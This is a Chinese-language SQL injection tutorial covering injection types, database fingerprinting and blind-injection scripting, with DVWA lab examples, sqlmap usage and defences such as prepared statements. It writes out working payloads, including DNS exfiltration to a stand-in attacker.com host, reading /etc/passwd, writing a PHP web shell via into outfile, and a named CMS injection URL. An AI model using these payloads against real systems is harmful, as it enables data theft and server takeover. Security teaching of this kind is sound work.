[红日安全]Web安全Day1 - SQL注入实战攻防
字数 2485 2025-08-26 22:11:57
SQL注入实战攻防全面指南
1. SQL注入基础概念
1.1 SQL注入定义
SQL注入是一种将恶意SQL代码插入或"注入"到输入参数中的攻击技术,攻击者通过这些参数从数据库服务器获取非授权数据或执行非授权操作。
1.2 漏洞原理
- 通过构造特殊的查询语句绕过应用程序的安全检查
- 利用应用程序对用户输入数据的不充分过滤
- 直接拼接用户输入到SQL语句中执行
1.3 漏洞危害
- 获取敏感信息(用户凭证、个人信息等)
- 修改数据库内容(添加/删除/修改数据)
- 数据库服务器文件系统访问(读写文件)
- 执行系统命令(获取服务器控制权)
- 完全控制Web应用和底层服务器
2. SQL注入类型详解
2.1 按注入点类型分类
- 数字型注入:参数无需引号包裹
id=2 - 字符型注入:参数用引号包裹
id='2'
2.2 按反馈方式分类
- 报错注入:利用数据库错误信息获取数据
- 联合查询注入:使用UNION合并查询结果
- 布尔盲注:根据页面返回的真假判断
- 时间盲注:通过响应延迟判断条件真假
- 堆叠查询:执行多条SQL语句(需支持多语句)
2.3 其他特殊类型
- 二次注入:存储时过滤但取出时未过滤
- 宽字节注入:利用GBK等宽字符编码绕过
- Cookie注入:注入点在Cookie参数中
- HTTP头注入:X-Forwarded-For等头部注入
- 编码注入:Base64/Hex等编码绕过过滤
3. 关键信息获取技术
3.1 数据库识别
version():数据库版本database():当前数据库名user():当前数据库用户
3.2 信息模式(Information_schema)
SCHEMATA:存储所有数据库名(SCHEMA_NAME字段)TABLES:存储所有表信息(TABLE_SCHEMA,TABLE_NAME)COLUMNS:存储所有列信息(TABLE_NAME,COLUMN_NAME)
3.3 常用函数
length():字符串长度substr()/substring()/mid():字符串截取ascii()/ord():获取字符ASCII码concat():字符串连接if():条件判断sleep():时间延迟
4. 高级注入技术
4.1 报错注入函数
updatexml():XML文档修改函数updatexml(1,concat(0x7e,version()),1)exp():指数函数(MySQL 5.5附近版本)exp(710) # 触发溢出错误extractvalue():XML值提取函数
4.2 DNS外带技术
- 利用DNS查询将数据外带
load_file(concat('\\\\',version(),'.attacker.com\\abc'))
4.3 文件操作
- 读取文件:
union select 1,load_file('/etc/passwd'),3 - 写入文件:
select '<?php phpinfo();?>' into outfile '/var/www/shell.php'
4.4 绕过技术
- 大小写混淆:
SeLeCt - 注释混淆:
/**/、--、# - 编码绕过:Hex/Base64/URL编码
- 等价函数替换:
substr→mid→substring - 字符串拼接:
'a' 'b'='ab'(MySQL)
5. 各数据库特性
5.1 MySQL
- 默认端口:3306
- 注释:
--、#、/* */ - 字符串连接:
'a' 'b'='ab' - 信息模式:
information_schema - 特殊函数:
sleep()、benchmark()
5.2 SQL Server
- 默认端口:1433
- 注释:
--、/* */ - 字符串连接:
'a'+'b'='ab' - 系统表:
sysobjects、syscolumns
5.3 Oracle
- 默认端口:1521
- 注释:
--、/* */ - 字符串连接:
'a'||'b'='ab' - 系统表:
all_tables、all_tab_columns
5.4 PostgreSQL
- 默认端口:5432/5433
- 注释:
--、/* */ - 字符串连接:
'a'||'b'='ab'
6. 实战注入流程
6.1 手工测试步骤
- 识别注入点:找到可输入参数
- 判断注入类型:数字型/字符型
- 确定字段数:
order by x - 确定回显位:
union select 1,2,3 - 获取数据库信息:
version(),database() - 枚举数据库/表/列:通过
information_schema - 提取目标数据:查询关键表数据
6.2 DVWA靶场示例
- Low级别:
1' or 1=1-- 1' union select 1,table_name from information_schema.tables-- - Medium级别:数字型注入
1 or 1=1-- - High级别:Cookie注入
' union select 1,2--
6.3 盲注脚本示例
import urllib.request
header = {'Cookie': 'PHPSESSID=xxx; security=low'}
payload = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
for i in range(1, 20):
for j in payload:
url = "http://target/vuln?id=1' and substr(database(),%d,1)='%c'-- " % (i,j)
req = urllib.request.Request(url, headers=header)
if "exists" in urllib.request.urlopen(req).read().decode():
print(j, end='')
break
print()
7. 自动化工具使用
7.1 SQLMap基础用法
# 基本检测
sqlmap -u "http://target/vuln?id=1" --cookie="PHPSESSID=xxx"
# 获取数据库
sqlmap -u "http://target/vuln?id=1" --dbs
# 获取表
sqlmap -u "http://target/vuln?id=1" -D database --tables
# 获取列
sqlmap -u "http://target/vuln?id=1" -D database -T table --columns
# 导出数据
sqlmap -u "http://target/vuln?id=1" -D database -T table -C column --dump
7.2 SQLMap高级参数
--level:测试等级(1-5)--risk:风险等级(1-3)--technique:指定技术(B/E/U/S/T/Q)--tamper:使用混淆脚本--os-shell:获取系统shell--file-read:读取服务器文件
8. 防御措施
8.1 代码层防御
- 预处理语句(PDO/mysqli)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]); - 输入验证:白名单过滤
- 输出编码:
htmlspecialchars() - 最小权限:数据库用户仅需必要权限
8.2 过滤函数
mysqli_real_escape_string()addslashes()intval()对数字参数
8.3 Web应用防火墙(WAF)
- 规则过滤常见攻击特征
- 限制特殊字符和关键词
- 频率限制防止自动化工具
8.4 其他措施
- 错误信息不显示细节
- 定期安全审计
- 参数化查询替代拼接
9. 实战案例
9.1 五指CMS注入漏洞
/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%'*%23
利用点:keywords参数未过滤直接拼接到SQL语句
9.2 Seattle靶场盲注
/products.php?type=1 and ascii(substr((select password from users limit 0,1),1,1))=100
通过布尔响应判断字符ASCII码值
10. 总结
SQL注入作为OWASP Top 10长期上榜漏洞,危害严重但防御方法明确。开发人员应:
- 始终使用参数化查询
- 实施严格的输入验证
- 遵循最小权限原则
- 避免显示详细错误信息
- 定期进行安全测试和代码审计
通过理解攻击原理和技术细节,才能构建更安全的Web应用系统。